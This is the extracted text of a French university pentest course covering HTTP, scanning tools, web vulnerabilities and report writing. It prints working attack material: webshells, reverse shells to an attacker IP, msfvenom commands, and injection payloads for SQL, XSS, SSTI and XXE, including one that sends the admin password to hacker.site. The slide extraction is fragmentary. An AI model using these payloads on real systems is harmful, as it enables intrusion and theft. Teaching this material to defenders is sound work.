Cours Insa
Cours Insa
APPLICATIONS
INSA Centre-Val-de-
Loire
2023-2024
PLAN LARGE
Introduction
Organisation des 3 jours de cours
Déroulé d’un pentest
Vulnérabilités
Rapport
Ressources utiles
QUI SUIS-JE ?
3
MON PARCOURS
BARTHÉLÉMY DEMEURE
- Promo 2018 de l’INSA-CVL
- Stage de fin d’études Ministère des
Armées
- 3 ans chez Intrinsec
- Depuis, à la BCE et Airbus
QUI SUIS-JE ?
4
MON PARCOURS
CERTIFICATIONS
- OSCP (certification généraliste de
pentest)
- OSWE (expert web, boite blanche)
- OSEP (expert pentest entreprise
avancé)
- OSED (exploitation de binaires et
LABS
shellcodes)
- HackTheBox
Burp (expert Dante
web, boite noire) OSCP)
(equivalent
- HackTheBox RastaLabs (orienté Red
Team)
-
5
ET VOUS ?
- Dans quelle entreprise faites-vous
l’alternance ou stage passé ?
- Quelles activités ?
Header: valeur
Paramètres
nom=valeur
PETIT RAPPEL DES BASES : HTTP 14
Corps/body
PETIT RAPPEL DES BASES : HTTP
Status code Meaning
15
1xx Informational
100 Continue
101 Switching protocols
2xx Succesful
200 OK
201 Created
204 No Content
3xx Redirection
300 Multiple Choices
301 Moved Permanently
Found (Previously "Moved
302
Temporarily")
303 See Other
304 Not Modified
4xx Client Error
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
410 Gone
411 Length Required
418 I'm a Teapot
5xx Server Error
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
511 Network Authentication Required
PETIT RAPPEL DES BASES : HTTPS 16
17
BATTERING RAM
BURP : INTRUDER
30
CLUSTER BOMB
BURP : COMPARER
31
32
NMAP
Permet de scanner les ports d’un système ou d’un réseau
entier
NMAP
sudo nmap scanme.nmap.org -sU --top-ports 10
NMAP
nmap scanme.nmap.org --top-ports 1000 -T4 -sC -A
DIVERSES WORDLISTS
• https://github.com/danielmiessler/SecLists : « Bible » des wordlists pour les
pentesters
• Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
• Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
• Web-Shells/backdoor_list.txt
• Discovery/SNMP/common-snmp-community-strings.txt
• Discovery/Variables/awesome-environment-variable-names.txt
• Discovery/Infrastructure/All-Ipv4-ClassC-192.168.txt
• Discovery/Web-Content/CMS/Drupal.txt
• Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
• Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt
• …
WFUZZ, GOBUSTER, FFUF 41
• Aussi utiles pour des SQLi, sous-domaines, buckets S3… par exemple
WFUZZ, GOBUSTER, FFUF
42
WFUZZ, GOBUSTER, FFUF
43
WFUZZ, GOBUSTER, FFUF
44
45
SHELLS
WEBSHELLS
BIND SHELLS
REVERSE SHELLS
SHELLS - WEBSHELLS
46
PHP
<?php if (!empty($_POST['cmd'])){ syst..recoller..em($_POST['cmd']); } ?>
JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
ASP
<% eval request("cmd") %>
SHELLS - WEBSHELLS
47
Un simple Shell fait maison suffit, avec un contrôle d’accès (hardcoded hash d’un
paramètre complexe)
SHELLS – BIND ET REVERSE SHELLS
51
PERL
perl -e 'use Socket;$i="ATTACKING-IP";
$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-
IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
PowerShell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|
%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback +
'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Meterpreter
msfvenom -p php/meterpreter/reverse_tcp LHOST=eth0 LPORT=4443 -f raw -o shell.php
msfvenom -p linux/x86/shell_bind_tcp RHOST=tun0 LPORT=80 -f elf -o shell.elf
...
Kali héberge des shells
• /usr/share/webshells/asp/
• /usr/share/webshells/jsp/jsp-reverse.jsp
• /usr/share/webshells/php/php-reverse-shell.php
53
VULNERABILITÉS
LE COEUR DU MÉTIER
MANQUE DE MISE À JOUR
54
• Vulnérabilités fréquentes
• Faible suite de chiffrement (DES, 3DES, RSA 1024…)
• SSLv2, SSLv3, TLS 1.0, TLS 1.1
• Certificat expiré, mauvais nom de Subject, certificat auto-signé
• Outils
• testssl.sh
• sslscan
• sslyze (server-side)
• Recommendations
• TLS 1.2, TLS 1.3
• Perfect Forward Secrecy
• https://ssl-config.mozilla.org/
58
INJECTIONS - GÉNÉRALITÉ
Imaginons une banque qui tient son livre des comptes de la manière suivante :
“Le compte A envoie au compte B, la somme de montant euros, avec comme justificatif note du
virement 1”
compteA,compteB,montant,”note du virement 1”;compteC,compteD,montant,”note du virement
2”;…….
L’utilisateur a la main sur la note du virement (appelé “user input”). Il peut par exemple donner le
justificatif suivant:
resto italien”;compteC,compteA,1000,”merci
compteA,compteB,montant,”resto italien”;compteC,compteA,1000,”merci”;compteC,compteD,montant,”note du
virement 2”;
Que va-t-il se passer ?
La ligne reste cohérente pour le système, elle va donc être exécutée à la fin de la journée !
59
INJECTIONS - GÉNÉRALITÉ
Règle applicable pour plusieurs types d’injections :
• Injections HTML/XSS
• Injections SQL
• Injections SSTI (Server-Side Template Injection)
• Injections LDAP
• …
INTRODUCTION
L’injection de commande est plus rare, mais peut arriver un peu n’importe quand
<?php
exec(“convert image.png –resize ” . $_GET[“size”] . “ resized.png”);
return resized.png
?>
GET /imageArticle.php?size=200x100
INJECTION DE COMMANDE 61
PAYLOADS
|
||
`
whoami&id
&&
;
$(...)
%0A
cat${IFS}/etc/passwd
> /var/www/html/pentest.txt
INJECTION DE COMMANDE 62
SE PROTÉGER
Devient donc :
echo '<pre>Hello foobar</pre>';
Attaque ? Défense !
<script>alert(1)</script> Supprimer toute occurrence de
<script
<sCRipt>alert(1)</sCrIPt> Mettre tout en minuscule et
chercher script
<img src=fooo onerror=alert(1)> Bannir img, script, onerror, onload...
<div onmouseover="alert(45)">MOVE HERE</div> Utiliser des listes blanches
<style>
div {background-image:
url("data:image/jpg;base64,<\/style><svg/onload=alert(1
Empêcher le caractère “ ou ‘
)>");
background-color: #cccccc;}
</style>
<svg/onload=alert(String.fromCharCode(88,83,83))> On encode. Ce qui est < doit être
AFFICHÉ <, pas interprété
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+
[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])
[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]
+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/
... on utilise des bibliothèques
[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]
README.md
+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]
POLYGLOT XSS
72
POLYGLOT XSS
73
XSS : SE PROTÉGER
74
Attention à bien se renseigner sur les outils utilisés : par exemple la fonction PHP
htmlspecialchars(), par défaut, n’encode pas les simple quotes ‘ (il faut le spécifier
explicitement)
INJECTIONS SQL
75
Injections SQL
Boolean- Error-
based based
Time-based Union
Stacked
Second
order
UNION
77
GET /viewMenu.php?menu=2+order+by+3
Le but est de provoquer une erreur qui va soit aider dans la construction de
l’injection, soit directement révéler le contenu.
Et ainsi de suite
‘ and 1=convert(int,(select top 1 table_name from information_schema.tables
where table_name not in (‘Download_Dcoument’,'login_audit')))-- -
BLIND : BOOLEAN
82
Maintenant, prenons le cas d’une page qui n’affiche qu’un seul menu à la fois
Code HTTP 200 si menu affiché
Code HTTP 500 si menu non trouvé dans la base de données
Requête Résultat
GET /viewMenu.php?menu=2 1 menu trouvé : code 200
GET /viewMenu.php?menu=2’ AND 1=‘1 1 menu trouvé : code 200
GET /viewMenu.php?menu=2’ AND 0=‘1 0 menu trouvé : code 500
GET /viewMenu.php?menu=2’ OR TRUE AND 1=‘1 1 menu trouvé (le 1) : code 200
GET /viewMenu.php?menu=2’ AND (length(database()) = 0 menu trouvé : code 500
1) AND 1=‘1
GET /viewMenu.php?menu=2’ AND (length(database()) = 1 menu trouvé : code 200
11) AND 1=‘1
SELECT * FROM menu WHERE id = ‘2’ OR (SELECT (CASE 1 menu trouvé (le 2 car le CASE est
WHEN substr('abc’,3,1)=‘b' THEN TRUE ELSE FALSE faux)
END)) LIMIT 1;
SELECT * FROM menu WHERE id = ‘2’ OR (SELECT 1 menu trouvé (le 1 car la 2e lettre
BLIND : BOOLEAN
83
Mais aussi :
• Récupérer le résultat du test sur une deuxième page (création d’une entrée, modification
d’une valeur dans un UPDATE... WHERE ...)
Rapidité : moyenne
Selon les conditions (si le résultat est direct), il est possible de paralléliser
l’extraction
Ce n’est pas possible si le résultat est à récupérer sur son profil utilisateur par
exemple
BLIND : TIME-BASED
84
Prenons le cas d’une page qui n’affiche rien (changement d’ID d’un utilisateur), et qui retourne
200 dans tous les cas
Comme les blind SQL, cette injection est utile quand le résultat n’est pas retourné à l’application,
et même quand le résultat n’impacte pas l’application.
Sur MSSQL :
1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15’
Attaque plus complexe, nécessite bien souvent l’utilisation d’un résultat non-récupérable
directement, et qui sera utilisé dans une deuxième requête SQL :
La première requête est correctement encodée et échappée, impossible d’y mettre une injection
SQL
Par exemple, on sauvegarde dans notre préférence utilisateur, le prix maximum :
UPDATE `users` SET prefixDessert = 'c' WHERE id=1;
XXE + SQLi
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!
DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users
WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual--
-
Rapidité : rapide
Nécessite que le serveur SQL ait accès à notre machine (réseau interne ou Internet)
=> dépend du pare-feu
Peut être désactivé dans les paramètres pour interdire le chargement de fichiers
88
POLYGLOT SQL
<?php
$conn = new mysqli($servername, $username, $password, $dbname); // Establish connection
password_new=password1&password_conf=password1&Change=Change
95
CROSS-ORIGIN ATTACKS
CROSS-SITE REQUEST FORGERY (CSRF)
Défauts courants :
• Accepter la requête si le jeton/token est absent
• Interchanger la méthode GET/POST
• Ne pas lier le jeton à la session (possibilité de réutiliser son
jeton)
• Utiliser une validation par couple jeton+cookie, et avoir une
injection de cookie quelque part
97
CROSS-ORIGIN ATTACKS
PROTECTION CSRF : SAMESITE SUR LE COOKIE
Réponse HTTP :
Set-Cookie: flavor=choco; SameSite=Lax; Secure
98
CROSS-ORIGIN ATTACKS
CROSS-ORIGIN RESOURCE SHARING
http://store.company.com/dir2/other.html Succès
http://store.company.com/dir/inner/
Succès
another.html
Protocoles
https://store.company.com/secure.html Échec
différents
Comment la tester ?
Envoyer le header (aussi valable avec *)
Origin: https://example.com
EXPLICATION
Une des fonctionnalités de redirection du site web n’est pas assez restrictive.
But initial de rediriger vers une certaine page de l’application (après une connexion par
exemple), mais possible de détourner et de rediriger vers un site arbitraire
https://example.com/redirect.php?redirecturl=http://attacker.com/
phish/
https://example.com/redirect.html?
url=javascript:alert(document.domain)
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
PATH TRAVERSAL & FILE INCLUSION 101
Le code source cherche à inclure un fichier dont le nom est modifiable par l’utilisateur:
<?php
include $file;
?>
/afficherAllergenes?page=afficherAllergenes.php
/afficherAllergenes?page=../config.php
/afficherAllergenes?page=../../../../../../../../etc/passwd
/afficherAllergenes?page=C:\\Windows\\win.ini
/afficherAllergenes?page=../../../../../../../../home/foobar/.ssh/id_rsa
Solutions ?
XML supporte l’insertion d’un contenu externe (autre fichier XML, ou variable)
Ici l’exemple d’une variable “en dur”
Ou un fichier local :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY var SYSTEM "file:///etc/passwd"" > ]>
<contact>
<firstName>&var;</firstName>
<lastName>Jones</lastName>
</contact>
XXE 108
foo=bar
devient
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
XXE
eXternal XML Entity : SE PROTEGER
INTRODUCTION
L’apparition de “moteur de template” / “template engine” permet de facilier la création de
contenu adaptatif, le Server Side Template Injection (SSTI)
Un peu l’équivalent de PHP echo $var mais avec d’autres langages :
Thank you for your order! Your items will be shipped out shortly:
{% for product in cart %}
{{product.name}}
Price: ${{product.price}}
Quantity: {{product.quantity}}
Total: ${{product.quantity * product.price}}
{% endfor %}____________________
Total: ${{total}}
{% if cart|length > 1 %}
These items{% else %}
This item{% endif %} will be shipped to:
{{address}}
SSTI
111
MOTEURS
Les moteurs de template existent dans de nombreux langages et contextes
Templating
Language Server/client Side
Engine
Twig PHP Server Side
Freemarker Java (usually) Server Side
Pug/Jade JavaScript Mostly Server Side
Jinja Python Server Side
Handlebars JavaScript Both
Mustache Multiple Varies
SSTI
112
IDENTIFICATION
Chercher d’abord par causer des erreurs:
IDENTIFICATION
Lecture: si insertion dans une variable (par exemple username) ${7*7} et que 49 est retourné, suivre
la flèche verte.
SSTI
114
EXPLOITATION
Guide général : https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Cas général : beaucoup d’introspection d’objet.
Java (générique)
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd’)}
Java (FreeMarker)
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve(‘/foo/
bar.txt').toURL().openStream().readAllBytes()?join(" ")}
PHP (Twig)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
NodeJS (Jade)
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
.NET (Razor)
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
SSTI
115
SE PROTÉGER
Restreindre l’environnement
• Restricted shell (rshell)
• chroot l’application
• difficile à mettre en place de façon inviolable
DESERIALISATION :
116
INTRODUCTION
DETECTION
EXPLOITATION
java -jar ysoserial.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' >
payload
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\
Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-
1;s:9:"*buffer";a:1:{i:0;a:2:
{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b
:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:
DESERIALISATION :
119
SE PROTEGER
SE PROTEGER
• Un serveur peut faire une requête vers un serveur externe (par exemple vérifier le
stock d’un article)
• Modifier la donnée utilisateur pour y injecter autre chose
• Permet de faire :
• Lecture de fichier local (code source, fichier de configuration, clé SSH…)
• Ping sweep/scan de réseau interne
• Découverte de services locaux
• Exploitation de vulnérabilités (par exemple envoi de mail)
• Taper sur un service interne (par exemple interface d’administration)
SSRF : EXPLOITATION
122
ssrf.php?url=file:///etc/passwd
ssrf.php?url=dict://attacker:11111/
ssrf.php?url=sftp://evil.com:11111/
SSRF : CONTOURNEMENT FILTRES
123
http://127.0.0.1:22
http://[::]:80/
http://2130706433/
http://localtest.me
http://username:[email protected]#comment.goodsite.com
• Faire du fuzzing sur les pages inconnues, et espérer tomber sur une interface
d’administration par exemple
• Utiliser le “multi profil” du navigateur, sur un port listener Burp différent
• Penser à demander au moins un compte par niveau de rôle, dans l’idéal 2 par
niveau
• https://insecure-website.com/myaccount?id=123
• https://insecure-website.com/invoice?pdf=20220816231204.pdf
• Tenter d’ajouter des variables qui ne sont pas présentes par défaut (fuzzing)
127
JWT : INTRODUCTION
JWT (JSON Web Token) : jeton souvent utilisé pour l’authentification (mais pas forcément pensé
pour ça)
Avantage : le serveur n’a pas à conserver la valeur, juste la vérifier (idéal pour un système
distribué)
JWT : FONCTIONNEMENT
{
"alg": "HS256",
"typ": "JWT" BASE64
}
{ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWI
"sub": "1234567890", iOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiw
"name": "John Doe", iaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fw
pMeJf36POk6yJV_adQssw5c
"iat": 1516239022
}
MACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
<SECRET_TRES_SECRET>
)
130
JWT : ATTAQUES
{
"alg": “None“,
“typ”: “JWT” BASE64
}
{ eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2Vy
"user": "admin", IjoiYWRtaW4iLCJyaWdodHMiOiJhbGwiLCJpYXQiOjE2
"rights": "all", NzgyMDgwMzN9.
"iat": 1678207937
}
PAS DE SIGNATURE
131
JWT : ATTAQUES
• Bruteforcer la clé de signature
• Utiliser la clé publique comme clé de HMAC
132
JWT : SE PROTÉGER
NETTOYAGE
NETTOYAGE
134
• Penser à prendre des notes tout au long de votre test, ce que vous devrez nettoyer
• Des choses que vous laissez, c’est :
• Des outils, traces et informations pour de potentiels attaquants => augmente la surface d’attaque
• Une atteinte à l’image de votre entreprise si le client, ou pire une autre entreprise de pentest, passe
dessus l’année prochaine
https://pentestreports.com/templates/
136
RAPPORT : PRÉAMBULE
• Page de garde simple et concise : périmètre, année, code interne
• Cadre légal
• Rappel des destinataires (pas forcément les développeurs, c’est pas
eux qui payent)
• Ne pas dire “on peut faire une xss dans le champ de recherche et afficher alert(‘xss’)”
• Ne pas dire “on a poncé le site avec une rce sur mssql”
• Dire : “Un attaquant sans compte d’accès est en mesure d’impacter l’intégrité de la
page principale, ainsi que d’usurper l’identité des utilisateurs connectés à l’application”
RAPPORT : VULNÉRABILITÉS
• Possibilité de les classer par:
• Ordre décroissant d’impact (CVSS ou notation interne)
• Catégorie
RAPPORT : RELECTURE
• Probablement l’une des phases les plus importantes
• Le relecteur appose son nom une fois que tous les commentaires ont été pris
en compte et que la qualité est adéquate
• C’est votre image, celle de votre entreprise et celle du relecteur qui sont
associées au rapport
• Un concurrent pourrait récupérer votre rapport
• Votre rapport peut être diffusé à des personnes externes
141
BUG BOUNTY
• inurl:"keyword" education/content.php?page=
• intitle:"keyword" Interior/productlist.php?id=
• ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | products.php?categoryID=
xml) (intext:confidential salary | intext:"budget approved") ?pid=
inurl:confidential bookpage.php?id=
view_items.php?id=
index.php?pagina=
product.php?prodid=
notify/notify_form.php?
topic_id=
php/index.php?id=
content.php?cid=
product.php?product_id=
constructies/product.php?id=
detail.php?id=
php/index.php?id=
index.php?section=
product.php?****=
show_bug.cgi?id=
detail.php?id=
…
SHODAN 146
RESSOURCES UTILES
RESSOURCES UTILES
https://pauljerimy.com/security-certification-roadmap/
QUESTIONS ?
[email protected]